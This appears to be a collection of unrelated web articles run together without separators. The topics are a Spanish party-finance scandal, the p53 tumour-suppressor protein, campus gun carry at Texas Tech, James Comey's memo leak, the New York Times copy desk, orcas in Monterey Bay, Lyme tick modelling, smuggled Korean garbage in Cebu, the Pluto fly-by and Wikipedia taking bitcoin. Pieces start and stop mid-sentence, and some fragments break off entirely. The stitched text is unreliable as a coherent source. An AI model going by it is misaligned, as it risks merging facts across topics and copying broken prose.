After three hours of questioning Barcenas in a closed-door court hearing, High Court examining judge Pablo Ruz ordered steps be taken to restrict the suspect’s movements as there was “a serious risk” he might attempt to flee.
He said he had gathered evidence on the three charges of tax fraud, bribery and money laundering and that his investigation could come to an end soon.
In Spain’s legal system, lengthy pre-trial investigations are carried out by examining magistrates such as Ruz. It is not clear when a trial could start.
Ruz banned Barcenas from leaving Spain, seized his passport and ordered him to report to a court twice a month.
Barcenas, 55, an avid mountaineer who once scaled Everest, went skiing in Canada two weeks ago, according to media reports. Some of these reports said the police suspected he also used the ski trip to move funds he holds there.
Barcenas’s lawyer declined to comment on those reports.
The judge also confirmed he was seeking additional information on accounts and companies related to Barcenas in Switzerland, Argentina and the United States.
TROUBLE AT THE TOP
Barcenas left the center-right People’s Party (PP) in 2009 after he was charged with taking money from companies that overcharged PP mayors to put on events, such as campaign rallies, then shared the extra profit with the politicians.
Public interest in the case had largely evaporated until January, when Ruz’s investigation revealed Barcenas had Swiss bank accounts once worth as much as 22 million euros ($30 million).
The High Court judge also found that Barcenas applied last year for a tax amnesty, instigated by Rajoy to try to boost revenue, to bring millions of euros in off-shore investments back to Spain.
Then, El Pais newspaper published extracts from what it said were secret PP account books that Barcenas kept for almost 20 years, showing cash donations from construction magnates that were distributed to Rajoy and other party leaders.
Barcenas has denied any wrongdoing and says the purported ledgers are forgeries.
However, a police report that is part of Ruz’s evidence and that was seen by Reuters, showed that in December Barcenas made a notarised statement saying he had records of years of donations made to the party as well the recipients.
Barcenas says the money in the Swiss accounts is from legitimate business activities, but Ruz’s investigation has cast doubt on that defence, according to court documents which have been seen by Reuters.
Rajoy has denied any wrongdoing, either personal or by the party. He has pledged an external audit of PP accounts and put years of his own personal tax declarations on the official website of the office of the prime minister.
The Barcenas scandal has soured a public mood already bitter over joblessness, cuts to education, health spending and public sector wages, and the 40 billion euros in public funds spent on rescuing failed banks.
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Tens of thousands of homeowners have defaulted on their mortgages and been evicted from their homes.
A small group of protesters joined dozens of reporters in front of the court building in central Madrid after Barcenas entered for the closed-door hearing.
“They are lying to us, and worse than that, scorning us... Enough is enough, we need some accountability,” said Ana, 59, a civil servant from Madrid who declined to give her last name.2008 LLVM Developers' Meeting Proceedings Attendees What : The second general meeting of LLVM Developers and Users.
: The second general meeting of LLVM Developers and Users. Why : To get acquainted, learn how LLVM is used, and exchange ideas.
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53 in unstressed cells.
USP10 however has been shown to be located in the cytoplasm in unstressed cells and deubiquitinates cytoplasmic p53, reversing Mdm2 ubiquitination. Following DNA damage, USP10 translocates to the nucleus and contributes to p53 stability. Also USP10 does not interact with Mdm2.[51]
Phosphorylation of the N-terminal end of p53 by the above-mentioned protein kinases disrupts Mdm2-binding. Other proteins, such as Pin1, are then recruited to p53 and induce a conformational change in p53, which prevents Mdm2-binding even more. Phosphorylation also allows for binding of transcriptional coactivators, like p300 and PCAF, which then acetylate the carboxy-terminal end of p53, exposing the DNA binding domain of p53, allowing it to activate or repress specific genes. Deacetylase enzymes, such as Sirt1 and Sirt7, can deacetylate p53, leading to an inhibition of apoptosis.[52] Some oncogenes can also stimulate the transcription of proteins that bind to MDM2 and inhibit its activity.
Role in disease
Overview of signal transduction pathways involved in apoptosis
If the TP53 gene is damaged, tumor suppression is severely compromised. People who inherit only one functional copy of the TP53 gene will most likely develop tumors in early adulthood, a disorder known as Li-Fraumeni syndrome.
The TP53 gene can also be modified by mutagens (chemicals, radiation, or viruses), increasing the likelihood for uncontrolled cell division. More than 50 percent of human tumors contain a mutation or deletion of the TP53 gene.[53] Loss of p53 creates genomic instability that most often results in an aneuploidy phenotype.[54]
Increasing the amount of p53 may seem a solution for treatment of tumors or prevention of their spreading. This, however, is not a usable method of treatment, since it can cause premature aging.[55] Restoring endogenous normal p53 function holds some promise. Research has shown that this restoration can lead to regression of certain cancer cells without damaging other cells in the process. The ways by which tumor regression occurs depends mainly on the tumor type. For example, restoration of endogenous p53 function in lymphomas may induce apoptosis, while cell growth may be reduced to normal levels. Thus, pharmacological reactivation of p53 presents itself as a viable cancer treatment option.[56][57] The first commercial gene therapy, Gendicine, was approved in China in 2003 for the treatment of head and neck squamous cell carcinoma. It delivers a functional copy of the p53 gene using an engineered adenovirus.[58]
Certain pathogens can also affect the p53 protein that the TP53 gene expresses. One such example, human papillomavirus (HPV), encodes a protein, E6, which binds to the p53 protein and inactivates it. This mechanism, in synergy with the inactivation of the cell cycle regulator pRb by the HPV protein E7, allows for repeated cell division manifested clinically as warts. Certain HPV types, in particular types 16 and 18, can also lead to progression from a benign wart to low or high-grade cervical dysplasia, which are reversible forms of precancerous lesions. Persistent infection of the cervix over the years can cause irreversible changes leading to carcinoma in situ and eventually invasive cervical cancer. This results from the effects of HPV genes, particularly those encoding E6 and E7, which are the two viral oncoproteins that are preferentially retained and expressed in cervical cancers by integration of the viral DNA into the host genome.[59]
The p53 protein is continually produced and degraded in cells of healthy people, resulting in damped oscillation. The degradation of the p53 protein is associated with binding of MDM2. In a negative feedback loop, MDM2 itself is induced by the p53 protein. Mutant p53 proteins often fail to induce MDM2, causing p53 to accumulate at very high levels. Moreover, the mutant p53 protein itself can inhibit normal p53 protein levels. In some cases, single missense mutations in p53 have been shown to disrupt p53 stability and function.[60]
Suppression of p53 in human breast cancer cells is shown to lead to increased CXCR5 chemokine receptor gene expression and activated cell migration in response to chemokine CXCL13.[61]
One study found that p53 and Myc proteins were key to the survival of Chronic Myeloid Leukaemia (CML) cells. Targeting p53 and Myc proteins with drugs gave positive results on mice with CML.[62][63]
Experimental analysis of p53 mutations
Most p53 mutations are detected by DNA sequencing. However, it is known that single missense mutations can have a large spectrum from rather mild to very severe functional affects.[60]
The large spectrum of cancer phenotypes due to mutations in the TP53 gene is also supported by the fact that different isoforms of p53 proteins have different cellular mechanisms for prevention against cancer. Mutations in TP53 can give rise to different isoforms, preventing their overall functionality in different cellular mechanisms and thereby extending the cancer phenotype from mild to severe. Recents studies show that p53 isoforms are differentially expressed in different human tissues, and the loss-of-function or gain-of-function mutations within the isoforms can cause tissue-specific cancer or provides cancer stem cell potential in different tissues.[11][64][65][66] TP53 mutation also hits energy metabolism and increases glycolysis in breast cancer cells.[67]
The dynamics of p53 proteins, along with its antagonist Mdm2, indicate that the levels of p53, in units of concentration, oscillate as a function of time. This "damped" oscillation is both clinically documented [68] and mathematically modelled.[69][70] Mathematical models also indicate that the p53 concentration oscillates much faster once teratogens, such as double-stranded breaks (DSB) or UV radiation, are introduced to the system. This supports and models the current understanding of p53 dynamics, where DNA damage induces p53 activation (see p53 regulation for more information). Current models can also be useful for modelling the mutations in p53 isoforms and their effects on p53 oscillation, thereby promoting de novo tissue-specific pharmacological drug discovery.
Discovery
p53 was identified in 1979 by Lionel Crawford, David P. Lane, Arnold Levine, and Lloyd Old, working at Imperial Cancer Research Fund (UK) Princeton University/UMDNJ (Cancer Institute of New Jersey), and Memorial Sloan-Kettering Cancer Center, respectively. It had been hypothesized to exist before as the target of the SV40 virus, a strain that induced development of tumors. The TP53 gene from the mouse was first cloned by Peter Chumakov of the Russian Academy of Sciences in 1982,[71] and independently in 1983 by Moshe Oren in collaboration with David Givol (Weizmann Institute of Science).[72][73] The human TP53 gene was cloned in 1984[7] and the full length clone in 1985.[74]
It was initially presumed to be an oncogene due to the use of mutated cDNA following purification of tumor cell mRNA. Its role as a tumor suppressor gene was revealed in 1989 by Bert Vogelstein at the Johns Hopkins School of Medicine and Arnold Levine at Princeton University.[75][76]
Warren Maltzman, of the Waksman Institute of Rutgers University first demonstrated that TP53 was responsive to DNA damage in the form of ultraviolet radiation.[77] In a series of publications in 1991–92, Michael Kastan of Johns Hopkins University, reported that TP53 was a critical part of a signal transduction pathway that helped cells respond to DNA damage.[78]
In 1993, p53 was voted molecule of the year by Science magazine.[79]
Isoforms
As with 95% of human genes, TP53 encodes more than one protein. In 2005 several isoforms were discovered and until now, 12 human p53 isoforms were identified (p53α, p53β, p53γ, ∆40p53α, ∆40p53β, ∆40p53γ, ∆133p53α, ∆133p53β, ∆133p53γ, ∆160p53α, ∆160p53β, ∆160p53γ). Furthermore, p53 isoforms are expressed in a tissue dependent manner and p53α is never expressed alone.[11]
The full length p53 isoform proteins can be subdivided into different protein domains. Starting from the N-terminus, there are first the amino-terminal transactivation domains (TAD 1, TAD 2), which are needed to induce a subset of p53 target genes. This domain is followed by the Proline rich domain (PXXP), whereby the motif PXXP is repeated (P is a Proline and X can be any amino acid). It is required among others for p53 mediated apoptosis.[80] Some isoforms lack the Proline rich domain, such as Δ133p53β,γ and Δ160p53α,β,γ; hence some isoforms of p53 are not mediating apoptosis, emphasizing the diversifying roles of the TP53 gene.[64] Afterwards there is the DNA binding domain (DBD), which enables the proteins to sequence specific binding. The carboxyl terminal domain completes the protein. It includes the nuclear localization signal (NLS), the nuclear export signal (NES) and the oligomerisation domain (OD). The NLS and NES are responsible for the subcellular regulation of p53. Through the OD, p53 can form a tetramer and then bind to DNA. Among the isoforms, some domains can be missing, but all of them share most of the highly conserved DNA-binding domain.
The isoforms are formed by different mechanisms. The beta and the gamma isoforms are generated by multiple splicing of intron 9, which leads to a different C-terminus. Furthermore, the usage of an internal promoter in intron 4 causes the ∆133 and ∆160 isoforms, which lack the TAD domain and a part of the DBD. Moreover, alternative initiation of translation at codon 40 or 160 bear the ∆40p53 and ∆160p53 isoforms.[11]
Due to the isoformic nature of p53 proteins, there have been several sources of evidence showing that mutations within the TP53 gene giving rise to mutated isoforms are causative agents of various cancer phenotypes, from mild to severe, due to single mutation in the TP53 gene (refer to section Experimental analysis of p53 mutations for more details).
Interactions
p53 has been shown to interact with:
See also
Pifithrin, an inhibitor of P53Mixed Reactions from Texas Tech Professors to Teaching with Campus Carry Video
Lubbock,TX - It's the first week back to class at Texas Tech University and the first week of class with the statewide campus carry law in effect. Texas Tech experienced no incidents with the law or with guns on campus since the law went into effect August 1 at public universities across Texas.
Some of the most significant changes the law brings to the Texas Tech campus are that licensed individuals can carry concealed handguns both into classrooms and faculty offices (designated laboratories, however are among some of the exclusionary zones where guns are entirely prohibited). Some professors say this new law hasn't really been on their minds this semester, but others say the law has them approaching this school year with more concern.
Professor Ron Milam who teaches Military History at TTU allowed EverythingLubbock.com to sit in on his first class of the semester Tuesday.
After going over Herodotus and his syllabus, he addressed the class about something that wasn't written in the syllabus.
"You are the first class to be students at Texas Tech under the provisions of a new law last year called Senate Bill 11," Milam explained to the class of mostly first year students. He informed them their fellow students may carry concealed weapons into classrooms and certain dormitories.
"I was on committees where we debated that issue. Many of you, like me, are perhaps familiar with guns. But the law is in existence and Texas Tech will honor that law," Milam said.
He encouraged students with questions about the law to reach ask him or another person on campus who they trust.
Before he went in to class, Milam explained to EverythingLubbock.com that while he was involved in the Campus Carry Task Force which helped craft TTU's implementation of the law, he approaches the law with a heavy heart.
"What I teach in terms of military history, in terms of wars, in terms of the Holocaust, all of those topics are sensitive to certain people in the classroom, and I think I will always be aware that the things that I say--or probably more importantly the things that other students say--as controversial as those things may be, there's always that likelihood of someone being upset," Milam said.
He is concerned that his students may now be armed while the class is discussing potentially controversial and heated topics.
"It's different in the sense that you know there's a law that allows you to carry a weapon legally on your person, into your classroom, that's an experience I've never had except in the military and even over there it was more controlled than it will be here," Milam said.
Milam is a Vietnam War veteran, he said that during combat he has used a gun for it's intended purpose.
Milam added that whether students choose to carry is up to them. For that matter, Milam said, the law is intended to work so that no one on campus knows who is carrying concealed weapons.
"We're now in a different environment, not only for me, it's for all the rest of the students, remember only those people over the age of 21 who have a license are allowed to carry, that's a very small percentage," Milam said. He worries that the policy creates a class of armed students separate from the rest of the campus population.
Milam also prefers leaving campus security up to law enforcement professionals as opposed to individuals who-- while licensed-- may only have minimal experience working with firearms and resolving conflict.
But another professor, also teaching in a discipline tied to military and combat, feels differently.
Major Christopher Dawson, Professor of Military Science at Texas Tech, also taught classes this week. He hasn't spoken to his students about campus carry.
"I haven't really mentioned it, it's not something I've concerned myself too much with," Dawson said. "It is exactly the same as if I'm out in the public (outside of campus grounds), it's still concealed carry out there and in some cases open carry."
Dawson said he isn't concerned by the prospect of students with concealed handguns entering his faculty office either.
"When I was deployed, when I was in an operational environment, every single person has a weapon, so it's not a concern to me," he said.
He doesn't see any sense in taking issue with the law.
"That's what it's gonna be so I'll adhere to the law, the biggest concern is just making sure it's adequately marked where students are and aren't allowed to carry," Dawson added.
He hopes that before people judge the law they spend time researching the statistics behind campus carry laws and licensed concealed handgun owners.
For Milam, while he has worries about the law, he plans to continue teaching.
"I think what I teach is still important enough that I will work within the law and will hope that those who are carrying legally are the kinds of persons that everyone tells us that they are, good upstanding citizens, that they are taking the courses," he said.
"I am also confident that at Texas Tech we are doing our very best to make sure this law will be carried out properly to protect our students to protect our faculty, I think our police force will be a big help in taking care of any bad situations that may occur," Milam said. "So we want the environment to be as it was last year without this law, it will be a challenge."Because if it was leaked that @realDonaldTrump was personally not under investigation- it would have crushed the entire narrative. pic.twitter.com/drFcCxin5M
Talk about manipulative. He’s upset he was fired and how Trump is painting it so he leaks his memos to pump the media madness to get a special counsel. The one thing that wasn’t leaked? Rubio points it out: that Trump wasn’t actually under investigation.
Via The Hill:
Shortly after his dismissal as head of the FBI, James Comey authorized “a close friend” to leak the contents of his memos to the press in order to prompt a special counsel investigation.
The memo, written contemporaneously, documented Comey’s Oval Office meeting with President Trump during which the president allegedly asked him to drop the investigation into former national security adviser Michael Flynn.
“I asked a friend of mine to share the content of the memo with a reporter,” Comey told the Senate Intelligence Committee on Thursday. “I didn’t do it myself for a variety of reasons but I asked him to because I thought that might prompt the appointment of a special counsel.”
Keep reading…By dismantling its copy desk, The New York Times is making a mistake that’s been made before
Two decades ago, I wrote a critical essay titled “Goodbye Copy Desks, Hello Trouble.” What prompted that Newspaper Research Journal piece was a brief experiment in eliminating free-standing copy desks – an approach taken in the mid-’90s by a few regional newspapers.
Those papers thought that moving copy editors onto reporting or production teams would solve some long-standing problems and, not incidentally, save money by realigning staff resources. Some viewed the change as a way to replace an archaic assembly-line model of news production. The approach ultimately was copied by very few papers, and some that eliminated their copy desks soon found it wise to start rebuilding them. Too many mistakes were appearing in print, and headline-writing suffered. The papers mostly abandoned the experiment, and the lessons learned have been forgotten.
With The New York Times planning to dismantle its free-standing copy desk, it’s a good time to remember them. Do the questions remain valid today? Do they point to what The Times risks by implementing this plan?
Related Training: ACES In-Depth Editing Online Group Seminar (September 2017)
The Times’ idea is to reduce its 100-plus-person copy editing staff by reassigning some into a hybrid role – “strong editors” who will be expected to handle both assigning and copy editing duties. The rest will lose their jobs, either through buyouts or layoffs. How many will be reassigned remains unclear.
The copy editors understandably were hurt and angry. They agree that change is necessary, but they say they’re ready and willing to adapt. According to a letter they wrote to Executive Editor Dean Baquet and Managing Editor Joe Kahn, the company insultingly views much of what they do as “low-value editing” and the decision to eliminate the free-standing desk “betrays a stunning lack of knowledge” of what copy editors do. Reporters agreed, sending their own letter to management. The reporters said that the plan “is ill-conceived and unwise, and will damage the quality of our product. It will make us sloppier, more error-prone.”
Baquet responded in a July 6 column about the decision, telling readers that the paper is not eliminating its free-standing copy desks to save money, nor, he said, is it eliminating copy editing. He said the paper needs to reduce its longstanding system of layers of editing, which was created for a print era. “Our goal with these changes is to still have more than one set of eyes on a story, but not three or four,” he wrote. “We have to streamline that system and move faster in the digital age.” The Times “will use the savings from these cuts to bring in more reporters and other journalists who can build a report that acknowledges the changing world of journalism,” Baquet said.
Indeed, it is a different era. In the mid- to late ’90s, the internet as a journalistic medium was barely out of diapers. Print advertising revenue was still fairly strong, though significant cracks were appearing in the revenue façade. Newspapers were only a few years into the modern era of staff purges.
The big issue for newspaper copy editing and production in the late ’80s and early ’90s was pagination, computer-based page production that we now take for granted. The concern, felt most at the time by copy editors, was whether one really couldn’t do more with less. In fact, they knew that they couldn’t even produce at the same level of quality if they had to take on the additional work of putting pages together on a computer screen.
Around this time, a variety of experiments in newsroom organization arose, including the move to eliminate free-standing copy desks at papers like the Wichita Eagle and Minneapolis Star Tribune. The implementation differed a bit by newspaper, but the general idea was based on several beliefs:
That story editing would be improved if copy editors developed content-based expertise by working closely with reporters and assigning editors in topic teams rather than on free-standing desks.
That morale would improve – longstanding tensions between copy editors and reporters could be eased if not eliminated.
That reporters could and should self-edit better (and maybe even write their own headlines).
This mid-’90s experiment wasn’t quite the same approach as the Times is proposing, but it’s close enough to raise similar questions. The change did lead to some easing of staff tensions, but the downside was too great. Among the concerns I raised in 1998:
Would elimination of the copy desk as an entity lead to a loss of editing expertise? Would quality suffer, because less is not more when one is faced with additional tasks? Perhaps most critically, would newspapers lose a critical independent eye on stories before publication?
Baquet insists that eliminating the copy desk will not eliminate copy editing. But what will remain? What does a free-standing desk do that the proposed restructuring will struggle – and likely fail – to accomplish?
The expertise issue. Copy editing, assigning desk editing and reporting draw on different skill sets. Reporting involves getting the story, sourcing, organizing and writing. Assigning desk editors work closely with reporters, focusing on the story at a macro level, its focus, completeness and organization. Copy editors pay strict attention to the detail level – the mechanics of writing, clarity and style, as well as accuracy. They also provide a crucial level of review on broader issues such as structure, fairness and libel, and they write crisp, accurate headlines. This division of labor may seem puzzling to the uninitiated, but it has been applied successfully for more than a century, especially at larger papers. Smaller papers often blur those lines, but they wouldn’t if they had greater resources. Some reporters are good editors, but most aren’t. It’s no surprise that the Times reporters wrote an impassioned plea to save the copy desk. Some assigning editors are good copy editors, but they have other tasks that will necessarily take priority. This can compromise expertise and lead to…
The quality issue. The lesson from pagination applies today – when you have too many things to do, you cut corners. When you cut corners, you cut quality. The concern I raised in the ’90s was that copy editing would be compromised when editors had to prioritize production. A similar concern about doing more with less exists today. An assigning editor – a “backfielder” in New York Times parlance – is likely to favor the story-shaping role and pay less attention to the detail-level editing, even if he or she has been a copy editor. It’s difficult to not see quality suffer, and it’s puzzling that top management doesn’t seem to acknowledge it. Their claim about creating a “strong editing” system seems a bit Orwellian.
The independence issue. Has anything in the digital world changed to make an independent copy desk passé? One could argue that an independent eye on stories before publication is more important today when the safety net is shredded because of earlier staff cuts and a chief executive is willing to wage a Twitter war on any real or imagined factual issue. Copy editors add considerable value to the news precisely because they are independent. They represent the readers, and they watch out for the organization’s reputation. Sometimes, perhaps oftentimes, this independence leads to disagreement or even outright conflict with reporters or assigning editors. But the result is an improved story – one where tough questions are asked and answered.
Other problems emerged 20 years ago. For example, headline-writing suffered. A free-standing copy desk is designed to produce good headlines in part because critique is built into the slot-rim structure. A paper such as the Times has highly experienced copy editors, but I’d bet half of the headlines published in the Times have been tweaked, massaged or rewritten because of a copy chief’s critique. The result, unsurprisingly, is better headlines, and ultimately better headline-writers.
Why does any of this matter? The New York Times is just one paper, albeit a highly regarded one, and if this restructuring is a mistake, so what?
It matters because quality matters. Commenters on Baquet’s Q&A column worried that editorial quality would be compromised. One wrote, in part:
“Over and over in the reader comments below, I’m seeing the same thing: that readers DON’T USE THE New York TIMES FOR VIDEO! We want to read, and we want to read well-written, well-edited journalism. … Please reconsider your direction.”
A more subtle issue is internal. A free-standing copy desk demonstrates that copy editing is valued. Eliminating a free-standing desk, as Baquet says, may not eliminate copy editing, but it will surely weaken it in the eyes of the rest of the staff.
To the rest of the U.S. journalism world, the NYT is a bellwether. It is one of a tiny handful of U.S. newspapers widely known for top-tier copy editing. Other newspapers look to the Times for ideas – about news judgment, multimedia innovation or staff organization. One danger in the Times’ plan is that other newspapers will say, if it’s good enough for one of the world’s greatest newspapers, why not for us? It may be unfair to say The New York Times has a responsibility to journalism not to make big mistakes. But the paper can’t have it both ways – to bask in its reputation, which it likes to do, and to take actions that threaten its quality.
The bottom line is that this experiment is likely to fail because, despite Baquet’s assertions, the demands of the digital era do not make a free-standing copy desk obsolete. Not if quality matters. It may cost money, but it’s money well-spent. And if the plan does fail, it will be difficult to restore a top-notch copy desk. As papers learned in the ’90s, it’s a lot easier to dismantle a copy desk than to rebuild one.
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PrintMonterey Bay's bustling marine life brings trouble, too
A pack of orcas made a series of prolonged assaults, coming in wave after wave, to separate a mother whale from her calf. They finally succeeded in killing the calf. A pack of orcas made a series of prolonged assaults, coming in wave after wave, to separate a mother whale from her calf. They finally succeeded in killing the calf. Photo: Bart Selby Photo: Bart Selby Image 1 of / 3 Caption Close Monterey Bay's bustling marine life brings trouble, too 1 / 3 Back to Gallery
Nature's truth and tragedy unfolded in a dramatic scene on Monterey Bay last week when a pack of 20 orcas attacked a mother gray whale and its calf.
The fight, which lasted more than two hours, was witnessed and photographed by field scout Bart Selby and dozens aboard whale-watching boats that cruised at top speeds to the periphery of the scene and cut their engines.
In the past year, Monterey Bay has become the richest marine region on the Pacific Coast. In the past three weeks, it has reached a new peak with unbelievable hordes of anchovies, along with other baitfish, and with that, the highest numbers of salmon, marine birds, sea lions, gray whales, humpback whales and orcas anywhere.
The bay ignited with life again in early April after the howling winds out of the north in late March set off upwelling in the underwater canyon and jump-started the marine food chain.
At deepwater marine ledges, such as the Continental Shelf west of the Bay Area coast and the Monterey Underwater Canyon, strong north winds will push surface waters to the side, which allows cold, nutrient-rich water to rise up from the depths to the shallows. When sunlight penetrates that nutrient-rich water, it triggers plankton growth, which is the foundation of the marine food chain.
Although the salmon forecast for the coming year is excellent in many areas on the Pacific Coast - and is expected to be the best offshore southern Washington and San Francisco - it is Monterey Bay that has had the fish, the best catches and spectacular sightings of whales and other marine wildlife.
"The biomass of anchovies out there, just billions of tons of feed, is incredible," said Todd Arcoleo at Chris's Fishing Trips in Monterey. "It's brought in the salmon, humpback whales, sea lions, orcas. It's incredible, just an incredible year."
A week ago Monday, the humpbacks and killer whales arrived. Tony Lorenz on the Sea Wolf sent me an alert that he saw 50 humpback whales between Point Joe and Point Lobos.
"Six were real friendly, and swam right up to us," Lorenz said. "For a prolonged period, we saw them breaching, lunge feeding, pec slapping and plenty of tail throws."
A school of Pacific white-sided dolphin, numbering over 1,000, has also been sighted, Lorenz and others reported.
Selby, a kayaker, wildlife expert and photographer, heard about the whales and headed to Monterey. In 2011, Selby paddled a kayak solo 25 miles from Santa Cruz to Monterey, and two weeks ago, reported sighting a mother gray whale and its calf lounging on the inshore waters at Whaler's Cove at Pigeon Point near Pescadero.
Selby boarded the Point Sur Clipper with Monterey's champion whale specialist, Nancy Black, and they quickly found the orcas, more than 20 in all, on the hunt.
At mid-afternoon, the orcas found a mother gray whale with a calf.
"They came in waves, like attacking swarms of hockey players," Selby said. "When one group got tired, then the entire line would rotate out and orbit the center ring while a new swarm of orcas pressed the attack."
Just as a pack of coyotes will try to separate a fawn from its protective mother, the orcas tried to pry the calf away from its mother as well.
"The fight lasted over two hours," Selby said. "The orcas came in groups of four or five and tried to separate the whales and drown the baby. They would pulse forward in an attacking line four or five abreast and dive under and on top of the whales.
"The mother fought valiantly. The whales rolled and flailed at their assailants.
"The calf tried to stay on the back of her mom, hooking her tail over mom's spine, tucking in her flipper so the orcas could not grab them, and even draping her body on top of Mom," Selby said. "Mom fought and fought. We could just see the baby on top of her, often out of the water. The orcas tried to swim between them and dove under and rushed to the surface, pummeling her from below."
It took a series of prolonged assaults, coming in wave and wave, but they finally succeeded.
With the calf pushed to the side of its mother, the orcas then dragged the baby whale below the surface and drowned it, Selby said.
"I've been around enough to know that nature is cruel, but it was hard to watch," he said.
The orcas then took turns feeding, where they dived down in small groups to take their turns. All the while, the orcas put on a show where they breached, slapping their tails. "It was like they were celebrating their victory," Selby said.
The mother gray whale abandoned the area quickly. Four big humpbacks showed up to see what was going on, Selby said, and were then harassed by the orcas. Hundreds of gulls and a half-dozen albatross grabbed the leftovers that floated to the surface.
As dusk arrived, the boats returned to port, and by the time they reached land, word had already circulated up and down the coast of the spectacle.
In the past few days, Lorenz reported another attack, where the orcas dragged a carcass of a baby whale around for hours, and then when a sea lion showed up to see what was going on, it got nailed, too.
Sighting killer whales in Monterey Bay is likely through May, he said.Ticks, and the Lyme disease they carry, have become a daily reality in much of North America and beyond. Repellent and detailed checks of every limb have become routine, even in suburbia.
This year is expected to herald a bumper crop of blood-sucking arachnids to wooded areas of the Northeast U.S., according to some experts. Such predictions are based off a count of mice – another host species of ticks.
But a complex new model incorporating a variety of other climate factors and life cycle phases of ticks can offer a new forecasting model for the regional spread of Lyme, for each season, as proposed by mathematicians at the Memorial University of Newfoundland.
“Climate impacts tick survival mostly during nonparasitic periods of the life cycle,” said Xiunan Wang, one of the authors of the study in the Society for Industrial and Applied Mathematics Journal on Applied Dynamical Systems. “Seasonal variations in temperature, humidity, and resource availability have a strong effect on tick population dynamics.”
The deer tick’s two-year life cycle is accounted for, over four stages: from egg, larva, nymph, to adult.
The model incorporates mice and deer populations and their mortality rate, as well as the climate factors. It also incorporates the frequency of infection among the bloodsuckers, and even the bite rates of individual ticks.
An eight-dimensional non-autonomous model with three different time delay results, said Wang, and his colleague, Xiao-Qiang Zhao, also at Newfoundland.
Their model was tested at Long Point, a town in Ontario where the disease has taken off since 1980. The Canadian settlement was subject to the pandemic because of songbird transmission of ticks over long distances, they add.
Their prediction: Lyme will continue to thrive in Long Point, due to climate predictions.
But they offer solutions: clearing out ticks’ egg locations may help curb the spread in the Canadian hamlet. Destroying nests in attractive locations near human habitation could turn the tide, they added.
“It may be helpful to regularly search for the spots where adult ticks usually lay eggs, like in sheds, in woodpiles, under rocks and in the crevices of walls,” said Wang. “Since tick eggs are static, it is more feasibly to focus on the clearance of eggs than to think about killing ticks of the other three life stages.”
The prevailing prediction for this season, put forth by a husband-and-wife team, was covered widely by NPR and other media outlets last month. The New York-based pair based their forecast off mice counts from the year before. The theory is based off the fact that mice are the most efficient transmitter of the Borrelia burgdorferi bacteria – and a population explosion from one year will result in a bumper crop of ticks the following year.Last updated on August 9th, 2017 at 07:58 pm
CEBU lawmaker and Deputy Speaker Gwendolyn Garcia is calling for an investigation into the dumping of 25,000 metric tons (MT) of garbage from South Korea in Cebu in February.
Garcia has filed on August 2 the House Resolution 1155 directing the appropriate committee to conduct an investigation, in aid of legislation.
Documents showed at least two Customs officials were the culprits in the smuggling of the said Korean waste.
First, a copy of the Port Load Survey Report (PLSR) was filled up by the shipper in South Korea. The document was received by a representative of District Collector Elvira Cruz on January 19.
Second, the Single Administrative Document (SAD) showed the shipload of garbage from South Korea was processed inside the Cebu Bureau of Customs (BOC), the tax assessment, the Customs broker and the Customs personnel who processed the document. The date was January 21.
Third, the routing slip of the processing of the SAD showed processing began on January 20 and the release was on January 21.
A source from the Cebu BOC noted processing of a shipload of substances in just over a day is unusual. Once released, the smuggling operation was already consummated.
Fourth, the investigative report of the Department of Environment and Natural Resources (DENR), dated February 7 of garbage unloaded from MV Christina.
This happened after the release of the shipment from the BOC two weeks earlier.
Fifth, the alert order requested by Cruz and approved by Commissioner Nicanor E. Faeldon, dated February 8.
The source said issuance of an alert order after the shipment was approved for release was highly irregular much like the alert of the P6.4 billion worth of shabu from China.
A second point was the alert order hid the truth about the release of the shipment, and that the office of Cruz knew about this way back on January 9 when her secretary received the PLSR.
In calling for an investigation, Garcia said Cebuanos were shocked to discover that 25,000 MT of trash made past customs clearance and dumped in an open dumpsite in Barangay
Tingub, Mandaue City.
A concerned taxpayer earlier sent a letter to President Duterte, alleging an “illicit” transaction by government officials because the 5-million-kilo mixed trash was reportedly supposed to be dumped at the landfill in Barangay Inayawan in Cebu City, which the DENR
ordered closed.
While the concerned officials denied the allegations, Garcia said whatever the ultimate destination of the foreign garbage, the fact is that it actually arrived, had been released from customs, had been dumped in a landfill in Cebu, had exposed Cebuanos to unknown and unchecked hazards and had caused Filipino taxpayers the inconvenience and expense of their hauling and repatriation.
“There is a need to conduct an investigation, in aid of legislation, to ferret out the truth about the South Korean garbage, to determine the persons responsible for this illegal exportation and to inquire into whether our present environmental and customs laws are adequate to safeguard the Philippines from, and our enforcement bodies sufficiently armed in the face of the onslaught of foreign garbage,” Garcia said.Having known about the Apple Watch for some time and knowing lots of my friends were planning to buy one, I was sceptical as my needs are quite different to that |
. It is upholstered using eco-friendly fabrics by manufacturer Trevira.
The Reves Chair was shown as part of Nude – the young designer showcase at Valencia Design Week earlier this month – where Muka Design Lab were hoping to secure a manufacturer for production on a larger scale.
Other chairs with changeable backrests include Färg & Blanche's seats that can be dressed up in an assortment of garments and Bernotat & Co's coverings modelled on a grandma's dressing gown, baggy overalls and an oven mitt.Nasa's New Horizons spacecraft 'in fly-by of Pluto' BelfastTelegraph.co.uk A US spacecraft has made an unprecedented fly-past of Pluto, according to Nasa calculations. https://www.belfasttelegraph.co.uk/news/world-news/nasas-new-horizons-spacecraft-in-flyby-of-pluto-31375777.html https://www.belfasttelegraph.co.uk/news/world-news/article31375776.ece/4d374/AUTOCROP/h342/PANews%20BT_P-93f104af-5afd-4ed7-ad0a-5ccc9bc5b0b4_I1.jpg
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A US spacecraft has made an unprecedented fly-past of Pluto, according to Nasa calculations.
The moment of closest approach for the New Horizons spacecraft came at 12.49pm BST, following a nine-and-a-half-year, three-billion-mile journey.
Based on everything Nasa knows, New Horizons was straight on course for the historic encounter, sweeping within 7,800 miles of the icy world at 31,000mph.
However, official confirmation will not arrive for another 13 hours, because Nasa wants New Horizons to take pictures of Pluto, its jumbo moon Charon and its four smaller moons during this critical time, rather than communicating with Earth.
Nasa marked the moment live on TV, broadcasting from flight operations in Maryland.
The US is now the only nation to visit every single planet in the solar system. Pluto was ninth in the line-up when New Horizons departed Cape Canaveral, Florida, in 2006 to shed light on the mysterious icy world, which was demoted seven months later to dwarf status.
Pluto is one of a number of distant "worldlets" in a region known as the Kuiper Belt.
Its light takes more than four hours to reach the Earth, making communication with New Horizons an exercise in patience.Open-source online encyclopedia Wikipedia is now accepting bitcoin through a new partnership with Coinbase.
The Wikimedia Foundation, which owns and curates Wikipedia, announced on its official blog that it is now accepting donations in the digital currency.
